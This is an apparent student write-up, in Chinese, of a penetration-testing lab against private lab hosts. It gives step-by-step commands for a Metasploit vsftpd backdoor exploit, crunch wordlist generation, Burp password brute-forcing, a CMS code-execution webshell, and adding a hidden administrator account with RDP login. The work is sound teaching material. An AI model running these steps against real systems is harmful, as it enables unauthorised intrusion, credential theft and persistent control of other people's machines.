漏洞挖掘和利用

2023-12-19 04:48:09

任务一 使用nmap、MSF和Metasploit进行漏洞挖掘和利用

【任务描述】

本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

利用kali集成的扫描工具nmap,对网络进行探测,收集目标网络存活主机信息,并利用主机开放的服务器,获取目标主机的root权限。
利用kali集成的MSF和Metasploit两个工具,实现对目标主机的漏洞探测和利用,并成功攻击目标机。

通过完成本实验任务,要求学生掌握利用nmap进行网络探测并获取目标主机root权限等关键信息的方法;掌握通过MSF和Metasploit实现对目标主机的漏洞探测和漏洞模块利用的流程、方法和技巧,为完成后续漏洞挖掘实验任务奠定坚实的网络探测技术基础。

【实验目标】

了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
了解扫描工具nmap的基本使用方法,掌握常用的网络扫描和探测命令。
掌握利用nmap进行网络探测并获取目标主机root权限等关键信息的方法。
了解Metasploit工具的基本功能,掌握常用的漏洞探测和利用命令。
掌握通过Metasploit实现对目标主机的漏洞探测和漏洞模块利用技术和方法。

通过nmap、Metasploit等工具的学习和使用,能够融会贯通,掌握自主学习和实践主流企业级网络扫描工具功能、操作技巧、检测结果分析、漏洞挖掘的常用方法,最终具备企业复杂网络漏洞挖掘的职业能力。

【实验工具】

  • Nmap(集成于kali linux)
  • Metasploit(集成于kali linux)

【操作步骤】

1.1 在Kali linux操作系统中打开操作终端,并使用nmap命令扫描192.168.1.0网段的存活主机,并探测该网段存活主机的开放端口、操作系统及版本信息。

提示:可以使用Kali linux集成的nmap工具来完成操作步骤1.1,也可以通过操作机自行上传其他工具来完成。

注意:nmap命令功能较强,参数众多,不同命令执行需要的时间长短不一(长则数分钟)。若遇到长时间没有结果返回,建议ctrl-c停止执行,并更换命令参数,或者增加-v获取更详细的扫描进展

扫描某网段存活主机,第一反应是工具nmap。

在这里我们可以使用如下的nmap命令扫描得到3个主机,ip地址为192.168.1.2、192.168.1.3和192.168.1.4,其中192.168.1.2是本机。

nmap 192.168.1.0/24

image-20230315183922438

为了获取主机的开放端口、操作系统及版本信息,我们需要给命令加上一些参数,具体参考https://blog.csdn.net/weixin_42517271/article/details/128392413?spm=1001.2014.3001.5506。

下面是主机192.168.1.3开启的端口。

nmap -sV 192.168.1.3

image-20230315183933533

nmap -O -v 192.168.1.3

这里似乎无法直接扫出这个主机的操作系统。

1.2 使用网络扫描工具搜索vsftpd FTP服务器程序的相关工具和攻击载荷,搜索出vsftpd FTP服务器的漏洞利用模块信息,并启用漏洞利用模块,设置目标主机的IP地址,然后扫描探测可以在目标主机执行的shellcode代码,并在远程目标主机执行该shellcode代码。最后对目标主机实施溢出攻击。

提示:可以使用Kali linux集成的MSF工具来完成操作步骤1.2,也可以通过操作机自行上传其他工具来完成。

在终端中输入命令“msfconsole”,启动MSF终端。msf框架的使用具体参考https://www.jianshu.com/p/03b372341bf9。

image-20230315185619774

在终端中输入命令“search vsftpd”,搜索vsftpd的相关工具和攻击载荷,显示vsftpd v2.3.4版本的漏洞利用模块。

image-20230315185703001

在终端中输入命令“use exploit/unix/ftp/vsftpd_234_backdoor”,启用漏洞利用模块,提示符就会提示进入到该路径下。

在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。

image-20230315185842722

在终端中输入命令“set RHOST 192.168.1.3”,设置目标主机的IP地址。

image-20230315185909179

在终端中输入“show payloads”,显示Metasploit中可以在远程主机执行的代码,即shellcode。

image-20230315185934053

在终端中输入“set PAYLOAD cmd/unix/interact”,选择在远程主机执行的shellcode代码。

image-20230315190055006

在终端中输入“exploit”,实施攻击。攻击成功后,输入命令“ifconfig”,查看IP为目标主机,表示溢出成功。

image-20230315190126660

1.3 在目标主机上查找扩展名为key的文件,并查看1.key文件内容。

提示:可以使用Kali linux集成的MSF工具来完成操作步骤1.3,也可以通过操作机自行上传其他工具或使用其他命令来完成。

使用find的命令可以查找指定文件名的文件,具体参考https://blog.csdn.net/weixin_36670529/article/details/100916156。

image-20230315190622932

找到文件所在路径后,使用cat命令查看文件内容,得到“Metasploit”。

image-20230315190647111

【实验结果提交】

将1.key文件中的内容作为实验结果提交,提交成功后该实验任务完成。

任务二 使用nikto、crunch和burpsuite进行网站渗透和控制

【任务描述】

本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

利用kali集成的扫描工具nikto和crunch,对目标网站进行探测,根据收集的信息进行渗透(提交网站后台管理员登陆密码),获取网站的webshell。
使用burpsuit工具软件暴力破解目标网站管理员登陆密码,以完全控制目标主机系统。

通过完成本实验任务,要求学生掌握对网站进行探测和渗透的技术和工具使用方法,具体包括:利用nikto进行网页服务器探测扫描的方法;掌握使用crunch生成密码字典文件的方法;掌握burpsuit工具软件暴力破解登陆密码的方法,具备更为夯实的漏洞挖掘和利用、信息系统安全防范的职业能力。

【实验目标】

了解网络漏洞渗透、webshell的概念,认知常用的安全漏洞扫描工具。
了解nikto工具的基本功能,熟悉其常用的网页服务器扫描和探测命令。
了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
了解burpsuit工具的基本功能,掌握其暴力破解密码的基本方法。

通过nikto、crunch和burpsuit等工具的学习和使用,掌握对网站进行渗透、获取webshell、破解密码等常用的漏洞挖掘和利用技术,领会预防漏洞攻击的方法,具备丰富的漏洞挖掘和防攻击能力。

【实验工具】

  • nikto(集成于kali linux)
  • crunch(集成于kali linux)
  • burpsuit

【操作步骤】

2.1 在操作机终端中扫描目标机网站(http://192.168.1.4)目录结构,查看目标网站的/admin/login.php后台管理界面。

提示:可以使用Kali linux集成的Nikto工具来完成操作步骤2.1,也可以通过操作机自行上传其他工具来完成。

使用nikto可以查看目标网站的目录结构,nikto的使用具体参考https://cloud.tencent.com/developer/article/2196656。

nikto -host http://192.168.1.4/

image-20230315191927977

2.2 在目标机的/root/目录下创建password.txt字典文件,生成字典文件的目的是为了暴力破解做准备,为了让生成的密码字典可能包含真正的密码,我们一般需要提前做一些社工工作,根据常人使用弱口令的习惯生成字典文件,例如:用户名为admin,则:密码可能为admin加3-5位数字的字符串。暴力破解是一个比较耗时的操作,本次实验只是为了教学使用。因此大家可以尝试使用crunch命令,生成一个每行以admin开头加3位随机数字共8位字符串长度的字典文件。

提示:可以使用Kali linux集成的crunch工具来完成操作步骤2.2,也可以通过操作机自行上传其他工具来完成。

crunch工具是用于生成爆破密码本的常用工具,使用具体参考https://blog.csdn.net/qq_63844103/article/details/127979575。

这里生成长度为8的、以admin开头的(参数 -t 表示按照如下格式)、后接3位数字的密码,保存到password.txt。

crunch 8 8 -t admin%%% >>password.txt

image-20230315192438851

得到密码本如下。

image-20230315192727431

2.3 在操作机中使用Firefox浏览器访问目标网站。通过以下链接打开后台管理界面:http://192.168.1.4/admin/login.php。在登录窗口中输入用户名和密码信息,用户名:admin,密码:123456。

image-20230315194346481

2.4使用Firefox浏览器工具栏中的“设置”工具进行“Manual Proxy”配置,配置信息如图2-1所示。

image-20230315200308606

2.5在操作机中打开burpsuit软件,同时在目标机网站登录对话框中,单击“Submit”按钮,登录网站后台,这时burpsuit将截取发送的数据包。

cmd输入burpsuite打开。

image-20230315193455867

点击submit后数据报被burpsuite截获。

image-20230316213609915

2.6 在BurpSuite操作窗口中,查看截取到的目标机登录用户名和密码信息,操作画面如图所示。

image-20230315202427323

选中后,右键send to intruder(或者快捷键Ctrl+I),然后进入intruder界面。

在intruder界面,我们只要暴力破解密码也就是123处,因此删去其他高光部分前后的特殊符号,只保留密码部分。

然后进入payloads加载载荷,点loads并选择password.txt文件。

image-20230316214052875

获得字典。

image-20230316214106573

2.7 对password字段进行暴力破解,并提交破解的登录密码password的值。

提示:可以使用BurpSuite工具来完成对目标网站用户admin登录密码的破解,也可以通过操作机自行上传其他工具来完成。

注意:使用burpsuit工具进行密码破解时,由于使用了请求重定向技术,请求都将被代理到burpsuit。也正是因为请求被代理,所以将产生临时性网页无法正常打开、进入等待状态的现象。密码破解成功后取消代理即可恢复正常,正常打开所需网页。

点击start attack开始攻击,可知密码为admin452,原因是它的返回包的Status = 302,Length = 619,内容会与错误密码返回的内容不一致。

image-20230315202144568

【实验结果提交】

将破解的admin登录密码作为实验结果提交,提交成功后该实验任务完成。

任务三获取webshell权限并拿到目标机开放的远程桌面端口号

【任务描述】

本实验任务在任务二操作完成的基础上,上传目标机网站的webshell,然后利用获取的网站webshell权限,查看目标主机信息,提交目标主机远程桌面端口号,为下一任务添加用户,完全控制目标主机系统做环境准备。

通过完成本实验任务,要求学生理解webshell的概念,掌握webshell上传方法,以及通过webshell查看目标机信息的方法。

【实验目标】

熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法。
掌握通过网站webshell信息获取其用户及密码信息的方法。
掌握通过webshell查看目标机关键信息的方法。

【实验工具】

  • Firefox(火狐浏览器)

【操作步骤】

3.1 在任务二的实验基础上,使用破解的管理员用户信息登录目标机网站后台,用户名:admin,密码:admin452。

成功登录。

image-20230316214421536

3.2 登录目标机网站后台后,设置用户自定义标记(Add User Defined Tag),配置信息为name:“hacker”,code:“system(“whoami”);”,如图3-1所示。

快速浏览一下网页,进入“Extensions”-“User De?ned Tags”,按照步骤要求设置用户名和代码,设置完成后,单击 Submit 按钮提交。

image-20230315204328416

image-20230315204541252

3.3 在如所示画面中的code区域,尝试设置不同的system()函数命令参数,并执行相应命令,最终获取目标网站webshell提权。在浏览器地址栏中输入“ http://192.168.1.4/1.php?m=system(“whoami”);” ,执行命令“whoami”,显示webshell权限,如图所示。

image-20230315204803977

3.4 查找目标主机开放的远程桌面端口。

通过指令“netstat -ano”可以查看所有开启的端口号,可以通过穷举的方式获得答案。

image-20230315205747125

当然为了更加准确快速地找到该端口,我们可以尝试输入命令“tasklist –svc”查找进程下的所有服务.

image-20230316223757052

【实验结果提交】

将探测到的目标机开放的远程桌面端口作为实验结果提交,提交成功后该实验任务完成。

任务四 向目标机添加新用户并控制目标机

【任务描述】

本实验任务在任务三操作完成的基础上,向目标机添加新用户,并完全控制目标主机系统。

通过完成本实验任务,要求学生在掌握webshell上传及权限获取方法的基础上,掌握向目标机添加新用户,设置用户权限并实现目标机控制的方法,进而掌握企业级复杂网络webshell相关的高级漏洞挖掘和利用方法,具备高级漏洞挖掘和利用、信息系统安全管理的职业能力。

【实验目标】

理解webshell权限获取的意义和方法。
掌握获取webshell权限基础上控制目标机的方法。
掌握企业级复杂网络漏洞挖掘和利用方法。

具备高级漏洞挖掘和利用职业能力。

【实验工具】

  • Firefox(火狐浏览器)

【操作步骤】

4.1 向目标机网站(http://192.168.1.4)添加新用户,用户名:hacker,密码:Beijing123。

注意不要错添成backend user,这是后端的用户。

image-20230315210059055

应该如下图所示,使用命令“net user hacker Beijing123 /add”来添加。

image-20230315211339346

4.2 把hacker用户添加到管理员组,并远程连接目标机。

image-20230315210234899

应该使用命令“net localgroup Administrators hacker /add”将该用户添加至管理员组。

image-20230315211508259

4.3 以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

image-20230315210630587

使用命令“rdesktop -u hacker -p Beijing123 192.168.1.4:45565”远程登录目标主机。

image-20230315211706939

image-20230316200144513

4.4 设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

这时查看2.key文件发现还是无法访问,怀疑是因为管理员自己也没有查看这个文件的权限。

image-20230316200645081

所以手动添加权限。右键单击属性-安全-高级高级,修改文件的权限。进入高级安全设置后,点击所有者后的 “更改”,添加hacker。

image-20230316203046976

在权限一栏中添加,为hacker设置完全控制权限:

image-20230316203640040

更改成功,点击确定保存更改。

image-20230316203816780

使用记事本打开2.key文件,得到内容“Zenmap”。

image-20230316204005816

【实验结果提交】

将探测到的目标机上key2.txt文件的内容作为实验结果提交,提交成功后该实验任务完成。

文章来源:https://blog.csdn.net/weixin_49816179/article/details/132763337
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。